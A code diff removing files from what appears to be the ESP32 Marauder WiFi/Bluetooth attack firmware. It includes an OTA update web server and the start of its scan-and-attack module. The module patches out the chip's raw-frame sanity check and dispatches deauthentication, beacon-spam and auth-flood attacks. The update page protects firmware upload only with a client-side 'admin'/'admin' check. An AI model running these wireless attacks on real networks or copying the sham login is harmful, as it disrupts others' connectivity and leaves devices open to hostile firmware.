-        display_obj.tft.println(F(text_table2[11]));
-#endif
-        Serial.println(F("Update successfully completed. Rebooting."));
-      }
-      else {
-#ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_RED);
-        display_obj.tft.println(text_table2[12]);
-#endif
-        Serial.println("Update not finished? Something went wrong!");
-#ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_WHITE);
-#endif
-      }
-    }
-    else {
-#ifdef HAS_SCREEN
-      display_obj.tft.println(text_table2[13] + String(Update.getError()));
-#endif
-      Serial.println("Error Occurred. Error #: " + String(Update.getError()));
-    }
-
-  }
-  else
-  {
-#ifdef HAS_SCREEN
-    display_obj.tft.println(text_table2[14]);
-#endif
-    Serial.println("Not enough space to begin OTA");
-  }
-}
-
-bool SDInterface::checkDetectPin() {
-/*#ifdef KIT
-  if (digitalRead(SD_DET) == LOW)
-    return true;
-  else
-    return false;
-#endif
-
-  return false;*/
-  return false;
-}
-
-void SDInterface::main() {
-  if ((this->supported) && (this->do_save)) {
-    //Serial.println("Saving packet...");
-    buffer_obj.forceSave(&SD_MMC);
-  }
-  else if (!this->supported) {
-    if (checkDetectPin()) {
-      delay(100);
-      this->initSD();
-    }
-  }
-}

esp32_marauder/SD_MMCInterface.h

@@ -1,46 +0,0 @@
-#ifndef SD_MMCInterface_h
-#define SD_MMCInterface_h
-
-#include "configs.h"
-
-#include "FS.h"
-#include "SD_MMC.h"
-
-#include "Buffer.h"
-#ifdef HAS_SCREEN
-  #include "Display.h"
-#endif
-#include <Update.h>
-
-extern Buffer buffer_obj;
-#ifdef HAS_SCREEN
-  extern Display display_obj;
-#endif
-
-class SDInterface {
-
-  private:
-    bool checkDetectPin();
-
-  public:
-    uint8_t cardType;
-    //uint64_t cardSizeBT;
-    //uint64_t cardSizeKB;
-    uint64_t cardSizeMB;
-    //uint64_t cardSizeGB;
-    bool supported = false;
-    bool do_save = true;
-
-    String card_sz;
-  
-    bool initSD();
-
-    void addPacket(uint8_t* buf, uint32_t len);
-    void openCapture(String file_name = "");
-    void runUpdate();
-    void performUpdate(Stream &updateSource, size_t updateSize);
-    void main();
-    //void savePacket(uint8_t* buf, uint32_t len);
-};
-
-#endif

esp32_marauder/TemperatureInterface.cpp

@@ -1,36 +0,0 @@
-#include "TemperatureInterface.h"
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-uint8_t temprature_sens_read();
-#ifdef __cplusplus
-}
-#endif
-uint8_t temprature_sens_read();
-
-TemperatureInterface::TemperatureInterface() {
-  
-}
-
-void TemperatureInterface::RunSetup() {
-  this->initTime = millis();
-  this->current_temp = this->getCurrentTemp();
-}
-
-uint8_t TemperatureInterface::getCurrentTemp() {
-  #ifndef MARAUDER_FLIPPER
-    return ((temprature_sens_read() - 32) / 1.8);
-  #endif
-    return 0;
-}
-
-void TemperatureInterface::main(uint32_t currentTime) {
-  if (currentTime != 0) {
-    if (currentTime - initTime >= 100) {
-      //Serial.println("Checking Battery Level");
-      this->initTime = millis();
-      this->current_temp = this->getCurrentTemp();
-    }
-  }
-}

esp32_marauder/TemperatureInterface.h

@@ -1,24 +0,0 @@
-#ifndef TemperatureInterface_h
-#define TemperatureInterface_h
-
-#include "configs.h"
-
-#include <Arduino.h>
-
-class TemperatureInterface {
-
-  private:
-    uint32_t initTime = 0;
-    
-  public:
-    TemperatureInterface();
-
-    uint8_t current_temp = 0;
-    uint8_t old_temp = 0;
-
-    uint8_t getCurrentTemp();
-    void RunSetup();
-    void main(uint32_t currentTime);
-};
-
-#endif

esp32_marauder/Web.cpp

@@ -1,178 +0,0 @@
-#include "Web.h"
-#include "lang_var.h"
-
-WebServer server(80);
-
-Web::Web()
-{
-  
-}
-
-void Web::main()
-{
-  // Notify if client has connected to the update server
-
-  
-  int current_sta = WiFi.softAPgetStationNum();
-  
-  if (current_sta < this->num_sta)
-  {
-    this->num_sta = current_sta;
-    Serial.print("Update server: Client disconnected -> ");
-    Serial.println(this->num_sta);
-  }
-  else if (current_sta > this->num_sta)
-  {
-    this->num_sta = current_sta;
-    Serial.print("Update server: Client connected -> ");
-    Serial.println(this->num_sta);
-  }
-  
-  
-  server.handleClient();
-  delay(1);
-}
-
-// Callback for the embedded jquery.min.js page
-void Web::onJavaScript(void) {
-    Serial.println("onJavaScript(void)");
-    server.setContentLength(jquery_min_js_v3_2_1_gz_len);
-    server.sendHeader(F("Content-Encoding"), F("gzip"));
-    server.send_P(200, "text/javascript", jquery_min_js_v3_2_1_gz, jquery_min_js_v3_2_1_gz_len);
-}
-
-void Web::setupOTAupdate()
-{
-  uint8_t newMACAddress[] = {0x06, 0x07, 0x0D, 0x09, 0x0E, 0x0D};
-
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_WHITE);
-  #endif
-
-  Serial.println(wifi_scan_obj.freeRAM());
-  #ifdef HAS_SCREEN
-    display_obj.tft.print(text_table3[0]);  
-  #endif
-  Serial.println("Configuring update server...");
-
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextColor(TFT_YELLOW);
-  #endif
-  
-  // Start WiFi AP
-  Serial.println("Initializing WiFi...");
-  //wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
-  esp_wifi_init(&wifi_scan_obj.cfg);
-  //esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  if (esp_wifi_set_storage(WIFI_STORAGE_FLASH) != ESP_OK)
-    Serial.println("Could not set WiFi Storage!");
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  Serial.println(wifi_scan_obj.freeRAM());
-
-  Serial.println("Starting softAP...");
-  esp_wifi_set_mac(WIFI_IF_AP, &newMACAddress[0]);
-  WiFi.softAP(ssid, password);
-  Serial.println("");
-
-  Serial.println(wifi_scan_obj.freeRAM());
-
-  Serial.println("Displaying settings to TFT...");
-  #ifdef HAS_SCREEN
-    display_obj.tft.print(text_table1[2]);
-    display_obj.tft.println(ssid);
-    display_obj.tft.print(text_table3[1]);
-    display_obj.tft.print(WiFi.softAPIP());
-    display_obj.tft.print("\n");
-  #endif
-  Serial.print("IP address: ");
-  Serial.println(WiFi.softAPIP());
-
-  // return javascript jquery
-  Serial.println("Setting server behavior...");
-  Serial.println(wifi_scan_obj.freeRAM());
-  server.on("/jquery.min.js", HTTP_GET, onJavaScript);
-  /*return index page which is stored in serverIndex */
-  server.on("/", HTTP_GET, [this]() {
-    server.sendHeader("Connection", "close");
-    server.send(200, "text/html", loginIndex);
-  });
-  server.on("/serverIndex", HTTP_GET, [this]() {
-    server.sendHeader("Connection", "close");
-    server.send(200, "text/html", serverIndex);
-  });
-  /*handling uploading firmware file */
-  server.on("/update", HTTP_POST, [this]() {
-    server.sendHeader("Connection", "close");
-    server.send(200, "text/plain", (Update.hasError()) ? "FAIL" : "OK");
-    ESP.restart();
-  }, [this]() {
-    HTTPUpload& upload = server.upload();
-    if (upload.status == UPLOAD_FILE_START) {
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_YELLOW);
-        display_obj.tft.print(text_table3[2]);
-        display_obj.tft.print(upload.filename.c_str());
-        display_obj.tft.print("\n");
-      #endif
-      Serial.printf("Update: %s\n", upload.filename.c_str());
-      if (!Update.begin(UPDATE_SIZE_UNKNOWN)) { //start with max available size
-        Update.printError(Serial);
-      }
-    } else if (upload.status == UPLOAD_FILE_WRITE) {
-      /* flashing firmware to ESP*/
-      if (Update.write(upload.buf, upload.currentSize) != upload.currentSize) {
-        Update.printError(Serial);
-      }
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_CYAN);
-        display_obj.tft.fillRect(0, 164, 240, 8, TFT_BLACK);
-        display_obj.tft.setCursor(0, 164);
-        display_obj.tft.print(text_table3[3]);
-        display_obj.tft.print(upload.totalSize);
-        display_obj.tft.print("\n");
-      #endif
-      
-    } else if (upload.status == UPLOAD_FILE_END) {
-      if (Update.end(true)) { //true to set the size to the current progress
-        #ifdef HAS_SCREEN
-          display_obj.tft.setTextColor(TFT_GREEN);
-          display_obj.tft.print(text_table3[4]);
-          display_obj.tft.print(upload.totalSize);
-          display_obj.tft.print(text_table2[3]);
-        #endif
-        Serial.printf("Update Success: %u\nRebooting...\n", upload.totalSize);
-        delay(1000);
-      } else {
-        Update.printError(Serial);
-      }
-    }
-  });
-
-  
-  Serial.println("Finished setting server behavior");
-  Serial.println(wifi_scan_obj.freeRAM());
-  Serial.println("Starting server...");
-  server.begin();
-
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextColor(TFT_GREEN);
-    display_obj.tft.println(text_table3[5]);
-  #endif
-  Serial.println("Completed update server setup");
-  Serial.println(wifi_scan_obj.freeRAM());
-}
-
-void Web::shutdownServer() {
-  Serial.println("Closing Update Server...");
-  server.stop();
-  WiFi.mode(WIFI_OFF);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_stop();
-  esp_wifi_deinit();
-  Serial.println(wifi_scan_obj.freeRAM());
-}

esp32_marauder/Web.h

@@ -1,141 +0,0 @@
-#ifndef Web_h
-#define Web_h
-
-/*
-Code taken from espressif ESP32 OTA Update example
-*/
-
-#include "configs.h"
-
-#include <WiFi.h>
-#include <WiFiClient.h>
-#include <WebServer.h>
-#include <ESPmDNS.h>
-#include <Update.h>
-
-#include "Assets.h"
-
-#ifdef HAS_SCREEN
-  #include "Display.h"
-#endif
-
-#include "WiFiScan.h"
-
-#ifdef HAS_SCREEN
-  extern Display display_obj;
-#endif
-
-extern WiFiScan wifi_scan_obj;
-
-class Web
-{
-  private:
-    
-    PROGMEM const char* host = "esp32marauder";
-    PROGMEM const char* ssid = "MarauderOTA";
-    PROGMEM const char* password = "justcallmekoko";
-
-    bool serving = false;
-    
-    int num_sta = 0;
-
-    PROGMEM const char* loginIndex = 
-     "<form name='loginForm'>"
-        "<table width='20%' bgcolor='A09F9F' align='center'>"
-            "<tr>"
-                "<td colspan=2>"
-                    "<center><font size=4><b>ESP32 Login Page</b></font></center>"
-                    "<br>"
-                "</td>"
-                "<br>"
-                "<br>"
-            "</tr>"
-            "<td>Username:</td>"
-            "<td><input type='text' size=25 name='userid'><br></td>"
-            "</tr>"
-            "<br>"
-            "<br>"
-            "<tr>"
-                "<td>Password:</td>"
-                "<td><input type='Password' size=25 name='pwd'><br></td>"
-                "<br>"
-                "<br>"
-            "</tr>"
-            "<tr>"
-                "<td><input type='submit' onclick='check(this.form)' value='Login'></td>"
-            "</tr>"
-        "</table>"
-    "</form>"
-    "<script>"
-        "function check(form)"
-        "{"
-        "if(form.userid.value=='admin' && form.pwd.value=='admin')"
-        "{"
-        "window.open('/serverIndex')"
-        "}"
-        "else"
-        "{"
-        " alert('Error Password or Username')/*displays error message*/"
-        "}"
-        "}"
-    "</script>";
-     
-    /*
-     * Server Index Page
-     */
-     
-    PROGMEM const char* serverIndex = 
-    "<script src='/jquery.min.js'></script>"
-    "Because the lack of an asynchronous webserver in this Arduino sketch like 'ESPAsyncWebServer', <br/>"
-    "both file 'serverIndex' and 'jquery.min.js' can't be read from the webserver at the same time. <br/><br/>"
-    "Your web browser probably requests those two files simultaneously and therefore <br/>"
-    "the javascript file failed to load. By a refresh of this page, the browser cash has already <br/>"
-    "load 'serverIndex' file, the web browser will do a second attempt to only read the javascript file. <br/>"
-    "This second attempt, with an idle webserver, will be processed.<br/><br/>"
-    "Long story short, press F5 (refresh web browser) before uploading your firmware. <br/><br/>"
-    "<form method='POST' action='#' enctype='multipart/form-data' id='upload_form'>"
-       "<input type='file' name='update'>"
-            "<input type='submit' value='Update'>"
-        "</form>"
-     "<div id='prg'>progress: 0%</div>"
-     "<script>"
-      "$('form').submit(function(e){"
-      "e.preventDefault();"
-      "var form = $('#upload_form')[0];"
-      "var data = new FormData(form);"
-      " $.ajax({"
-      "url: '/update',"
-      "type: 'POST',"
-      "data: data,"
-      "contentType: false,"
-      "processData:false,"
-      "xhr: function() {"
-      "var xhr = new window.XMLHttpRequest();"
-      "xhr.upload.addEventListener('progress', function(evt) {"
-      "if (evt.lengthComputable) {"
-      "var per = evt.loaded / evt.total;"
-      "$('#prg').html('progress: ' + Math.round(per*100) + '%');"
-      "}"
-      "}, false);"
-      "return xhr;"
-      "},"
-      "success:function(d, s) {"
-      "console.log('success!')" 
-     "},"
-     "error: function (a, b, c) {"
-     "}"
-     "});"
-     "});"
-     "</script>";
-
-  public:
-  
-    Web();
-
-    void main();
-    PROGMEM static void onJavaScript();
-    void setupOTAupdate();
-    void shutdownServer();
-};
-
-#endif

esp32_marauder/WiFiScan.cpp

@@ -1,3708 +0,0 @@
-#include "WiFiScan.h"
-#include "lang_var.h"
-
-int num_beacon = 0;
-int num_deauth = 0;
-int num_probe = 0;
-int num_eapol = 0;
-
-LinkedList<ssid>* ssids;
-LinkedList<AccessPoint>* access_points;
-LinkedList<Station>* stations;
-
-extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
-    if (arg == 31337)
-      return 1;
-    else
-      return 0;
-}
-
-#ifdef HAS_BT
-  class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
-  
-      void onResult(BLEAdvertisedDevice *advertisedDevice) {
-  
-        #ifdef HAS_SCREEN
-          int buf = display_obj.display_buffer->size();
-        #else
-          int buf = 0;
-        #endif
-          
-        String display_string = "";
-        if (buf >= 0)
-        {
-          display_string.concat(text_table4[0]);
-          display_string.concat(advertisedDevice->getRSSI());
-          Serial.print(" RSSI: ");
-          Serial.print(advertisedDevice->getRSSI());
-  
-          display_string.concat(" ");
-          Serial.print(" ");
-          
-          Serial.print("Device: ");
-          if(advertisedDevice->getName().length() != 0)
-          {
-            display_string.concat(advertisedDevice->getName().c_str());
-            Serial.print(advertisedDevice->getName().c_str());
-            
-          }
-          else
-          {
-            display_string.concat(advertisedDevice->getAddress().toString().c_str());
-            Serial.print(advertisedDevice->getAddress().toString().c_str());
-          }
-  
-          #ifdef HAS_SCREEN
-            uint8_t temp_len = display_string.length();
-            for (uint8_t i = 0; i < 40 - temp_len; i++)
-            {
-              display_string.concat(" ");
-            }
-    
-            Serial.println();
-    
-            while (display_obj.printing)
-              delay(1);
-            display_obj.loading = true;
-            display_obj.display_buffer->add(display_string);
-            display_obj.loading = false;
-          #endif
-        }
-      }
-  };
-  
-  class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
-      void onResult(BLEAdvertisedDevice *advertisedDevice) {
-        String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
-  
-        #ifdef HAS_SCREEN
-          int buf = display_obj.display_buffer->size();
-        #else
-          int buf = 0;
-        #endif
-          
-        if (buf >= 0)
-        {
-          Serial.print("Device: ");
-          String display_string = "";
-          if(advertisedDevice->getName().length() != 0)
-          {
-            Serial.print(advertisedDevice->getName().c_str());
-            for(uint8_t i = 0; i < bad_list_length; i++)
-            {
-              #ifdef HAS_SCREEN
-                if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
-                {
-                  display_string.concat(text_table4[1]);
-                  display_string.concat(" ");
-                  display_string.concat(advertisedDevice->getName().c_str());
-                  uint8_t temp_len = display_string.length();
-                  for (uint8_t i = 0; i < 40 - temp_len; i++)
-                  {
-                    display_string.concat(" ");
-                  }
-                  while (display_obj.printing)
-                    delay(1);
-                  display_obj.loading = true;
-                  display_obj.display_buffer->add(display_string);
-                  display_obj.loading = false;
-                }
-              #endif
-            }
-          }
-          else
-          {
-            Serial.print(advertisedDevice->getAddress().toString().c_str());
-          }
-          Serial.print(" RSSI: ");
-          Serial.println(advertisedDevice->getRSSI());
-        }
-      }
-  };
-#endif
-
-
-WiFiScan::WiFiScan()
-{
-}
-
-void WiFiScan::RunSetup() {
-  if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
-    this->wsl_bypass_enabled = true;
-  else
-    this->wsl_bypass_enabled = false;
-    
-  ssids = new LinkedList<ssid>();
-  access_points = new LinkedList<AccessPoint>();
-  stations = new LinkedList<Station>();
-
-  #ifdef HAS_BT
-    NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
-    NimBLEDevice::setScanDuplicateCacheSize(200);
-    NimBLEDevice::init("");
-    pBLEScan = NimBLEDevice::getScan(); //create new scan
-    this->ble_initialized = true;
-    
-    this->shutdownBLE();
-  #endif
-
-  this->initWiFi(1);
-}
-
-int WiFiScan::clearStations() {
-  int num_cleared = stations->size();
-  stations->clear();
-  Serial.println("stations: " + (String)stations->size());
-
-  // Now clear stations list from APs
-  for (int i = 0; i < access_points->size(); i++)
-    access_points->get(i).stations->clear();
-    
-  return num_cleared;
-}
-
-int WiFiScan::clearAPs() {
-  int num_cleared = access_points->size();
-  access_points->clear();
-  Serial.println("access_points: " + (String)access_points->size());
-  return num_cleared;
-}
-
-int WiFiScan::clearSSIDs() {
-  int num_cleared = ssids->size();
-  ssids->clear();
-  Serial.println("ssids: " + (String)ssids->size());
-  return num_cleared;
-}
-
-bool WiFiScan::addSSID(String essid) {
-  ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
-  ssids->add(s);
-  Serial.println(ssids->get(ssids->size() - 1).essid);
-
-  return true;
-}
-
-int WiFiScan::generateSSIDs(int count) {
-  uint8_t num_gen = count;
-  for (uint8_t x = 0; x < num_gen; x++) {
-    String essid = "";
-
-    for (uint8_t i = 0; i < 6; i++)
-      essid.concat(alfa[random(65)]);
-
-    ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
-    ssids->add(s);
-    Serial.println(ssids->get(ssids->size() - 1).essid);
-  }
-
-  return num_gen;
-}
-
-#ifdef HAS_SCREEN
-  void WiFiScan::joinWiFi(String ssid, String password)
-  {
-    static const char * btns[] ={text16, ""};
-    int count = 0;
-    
-    if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
-      lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
-      lv_msgbox_set_text(mbox1, text_table4[2]);
-      lv_msgbox_add_btns(mbox1, btns);
-      lv_obj_set_width(mbox1, 200);
-      lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
-      this->wifi_initialized = true;
-      return;
-    }
-    else if (WiFi.status() == WL_CONNECTED) {
-      Serial.println("Already connected. Disconnecting...");
-      WiFi.disconnect();
-    }
-  
-    esp_wifi_init(&cfg);
-    esp_wifi_set_storage(WIFI_STORAGE_RAM);
-    esp_wifi_set_mode(WIFI_MODE_NULL);
-    esp_wifi_start();
-      
-    WiFi.begin(ssid.c_str(), password.c_str());
-  
-    Serial.print("Connecting to WiFi");
-    while (WiFi.status() != WL_CONNECTED) {
-      delay(500);
-      Serial.print(".");
-      count++;
-      if (count == 10)
-      {
-        Serial.println("\nCould not connect to WiFi network");
-        lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
-        lv_msgbox_set_text(mbox1, text_table4[3]);
-        lv_msgbox_add_btns(mbox1, btns);
-        lv_obj_set_width(mbox1, 200);
-        //lv_obj_set_event_cb(mbox1, event_handler);
-        lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
-        WiFi.mode(WIFI_OFF);
-        return;
-      }
-    }
-  
-    lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
-    lv_msgbox_set_text(mbox1, text_table4[4]);
-    lv_msgbox_add_btns(mbox1, btns);
-    lv_obj_set_width(mbox1, 200);
-    lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
-  
-    connected_network = ssid;
-    
-    Serial.println("\nConnected to the WiFi network");
-    Serial.print("IP address: ");
-    Serial.println(WiFi.localIP());
-    this->wifi_initialized = true;
-  }
-#endif
-
-// Apply WiFi settings
-void WiFiScan::initWiFi(uint8_t scan_mode) {
-  // Set the channel
-  if (scan_mode != WIFI_SCAN_OFF) {
-    //Serial.println(F("Initializing WiFi settings..."));
-    this->changeChannel();
-  
-    this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
-    this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
-    this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
-    //Serial.println(F("Initialization complete"));
-  }
-}
-
-bool WiFiScan::scanning() {
-  if (this->currentScanMode == WIFI_SCAN_OFF)
-    return false;
-  else
-    return true;
-}
-
-// Function to prepare to run a specific scan
-void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
-{  
-  this->initWiFi(scan_mode);
-  if (scan_mode == WIFI_SCAN_OFF)
-    StopScan(scan_mode);
-  else if (scan_mode == WIFI_SCAN_PROBE)
-    RunProbeScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_EAPOL)
-    RunEapolScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
-    RunEapolScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_AP)
-    RunBeaconScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_RAW_CAPTURE)
-    RunRawScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_STATION)
-    RunStationScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_TARGET_AP)
-    RunAPScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
-    RunAPScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_PWN)
-    RunPwnScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_DEAUTH)
-    RunDeauthScan(scan_mode, color);
-  else if (scan_mode == WIFI_PACKET_MONITOR) {
-    #ifdef HAS_SCREEN
-      RunPacketMonitor(scan_mode, color);
-    #endif
-  }
-  else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
-    this->startWiFiAttacks(scan_mode, color, text_table1[50]);
-  else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
-    this->startWiFiAttacks(scan_mode, color, text_table1[51]);
-  else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
-    this->startWiFiAttacks(scan_mode, color, text_table1[52]);
-  else if (scan_mode == WIFI_ATTACK_AUTH)
-    this->startWiFiAttacks(scan_mode, color, text_table4[7]);
-  else if (scan_mode == WIFI_ATTACK_DEAUTH)
-    this->startWiFiAttacks(scan_mode, color, text_table4[8]);
-  else if (scan_mode == WIFI_ATTACK_DEAUTH_MANUAL)
-    this->startWiFiAttacks(scan_mode, color, text_table4[8]);
-  else if (scan_mode == WIFI_ATTACK_DEAUTH_TARGETED)
-    this->startWiFiAttacks(scan_mode, color, text_table4[47]);
-  else if (scan_mode == WIFI_ATTACK_AP_SPAM)
-    this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
-  else if (scan_mode == BT_SCAN_ALL) {
-    #ifdef HAS_BT
-      RunBluetoothScan(scan_mode, color);
-    #endif
-  }
-  else if (scan_mode == BT_SCAN_SKIMMERS) {
-    #ifdef HAS_BT
-      RunBluetoothScan(scan_mode, color);
-    #endif
-  }
-  else if (scan_mode == WIFI_SCAN_ESPRESSIF)
-    RunEspressifScan(scan_mode, color);
-  else if (scan_mode == LV_JOIN_WIFI) {
-    #ifdef HAS_SCREEN
-      RunLvJoinWiFi(scan_mode, color);
-    #endif
-  }
-  else if (scan_mode == LV_ADD_SSID) {
-    #ifdef HAS_SCREEN
-      RunLvJoinWiFi(scan_mode, color);
-    #endif
-  }
-
-  WiFiScan::currentScanMode = scan_mode;
-}
-
-void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
-  // Common wifi attack configurations
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_BLACK, color);
-    display_obj.tft.fillRect(0,16,240,16, color);
-    display_obj.tft.drawCentreString((String)title_string,120,16,2);
-    display_obj.touchToExit();
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-  #endif
-  packets_sent = 0;
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_AP_STA);
-  esp_wifi_start();
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  
-  //WiFi.mode(WIFI_AP_STA);
-  
-  //esp_wifi_init(&cfg);
-  //esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  //esp_wifi_set_mode(WIFI_AP_STA);
-  //esp_wifi_start();
-  //esp_wifi_set_promiscuous_filter(NULL);
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_max_tx_power(82);
-  this->wifi_initialized = true;
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.attackLED();
-  #else
-    led_obj.setMode(MODE_ATTACK);
-  #endif
-  initTime = millis();
-}
-
-bool WiFiScan::shutdownWiFi() {
-  if (this->wifi_initialized) {
-    esp_wifi_set_promiscuous(false);
-    WiFi.disconnect();
-    WiFi.mode(WIFI_OFF);
-
-    dst_mac = "ff:ff:ff:ff:ff:ff";
-  
-    esp_wifi_set_mode(WIFI_MODE_NULL);
-    esp_wifi_stop();
-    esp_wifi_deinit();
-
-    #ifdef MARAUDER_FLIPPER
-      flipper_led.offLED();
-    #else
-      led_obj.setMode(MODE_OFF);
-    #endif
-  
-    this->wifi_initialized = false;
-    return true;
-  }
-  else {
-    return false;
-  }
-}
-
-bool WiFiScan::shutdownBLE() {
-  #ifdef HAS_BT
-    if (this->ble_initialized) {
-      pBLEScan->stop();
-      
-      pBLEScan->clearResults();
-      BLEDevice::deinit();
-
-      #ifdef MARAUDER_FLIPPER
-        flipper_led.offLED();
-      #else
-        led_obj.setMode(MODE_OFF);
-      #endif
-    
-      this->ble_initialized = false;
-      return true;
-    }
-    else {
-      return false;
-    }
-  #endif
-
-  return true;
-}
-
-// Function to stop all wifi scans
-void WiFiScan::StopScan(uint8_t scan_mode)
-{
-  if ((currentScanMode == WIFI_SCAN_PROBE) ||
-  (currentScanMode == WIFI_SCAN_AP) ||
-  (currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
-  (currentScanMode == WIFI_SCAN_STATION) ||
-  (currentScanMode == WIFI_SCAN_TARGET_AP) ||
-  (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
-  (currentScanMode == WIFI_SCAN_PWN) ||
-  (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
-  (currentScanMode == WIFI_SCAN_EAPOL) ||
-  (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
-  (currentScanMode == WIFI_SCAN_ALL) ||
-  (currentScanMode == WIFI_SCAN_DEAUTH) ||
-  (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
-  (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
-  (currentScanMode == WIFI_ATTACK_AUTH) ||
-  (currentScanMode == WIFI_ATTACK_DEAUTH) ||
-  (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
-  (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) ||
-  (currentScanMode == WIFI_ATTACK_MIMIC) ||
-  (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
-  (currentScanMode == WIFI_PACKET_MONITOR) ||
-  (currentScanMode == LV_JOIN_WIFI))
-  {
-    this->shutdownWiFi();
-  }
-
-  
-  else if ((currentScanMode == BT_SCAN_ALL) ||
-  (currentScanMode == BT_SCAN_SKIMMERS))
-  {
-    #ifdef HAS_BT
-      this->shutdownBLE();
-    #endif
-  }
-
-  #ifdef HAS_SCREEN
-    display_obj.display_buffer->clear();
-    #ifdef SCREEN_BUFFER
-      display_obj.screen_buffer->clear();
-    #endif
-    //Serial.print("display_buffer->size(): ");
-    Serial.println(display_obj.display_buffer->size());
-  
-    display_obj.tteBar = false;
-  #endif
-}
-
-String WiFiScan::getStaMAC()
-{
-  char *buf;
-  uint8_t mac[6];
-  char macAddrChr[18] = {0};
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
-  this->wifi_initialized = true;
-  sprintf(macAddrChr, 
-          "%02X:%02X:%02X:%02X:%02X:%02X",
-          mac[0],
-          mac[1],
-          mac[2],
-          mac[3],
-          mac[4],
-          mac[5]);
-  this->shutdownWiFi();
-  return String(macAddrChr);
-}
-
-String WiFiScan::getApMAC()
-{
-  char *buf;
-  uint8_t mac[6];
-  char macAddrChr[18] = {0};
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
-  this->wifi_initialized = true;
-  sprintf(macAddrChr, 
-          "%02X:%02X:%02X:%02X:%02X:%02X",
-          mac[0],
-          mac[1],
-          mac[2],
-          mac[3],
-          mac[4],
-          mac[5]);
-  this->shutdownWiFi();
-  return String(macAddrChr);
-}
-
-
-String WiFiScan::freeRAM()
-{
-  char s[150];
-  sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
-  this->free_ram = String(esp_get_free_heap_size());
-  return String(s);
-}
-
-// Function to start running a beacon scan
-void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
-{
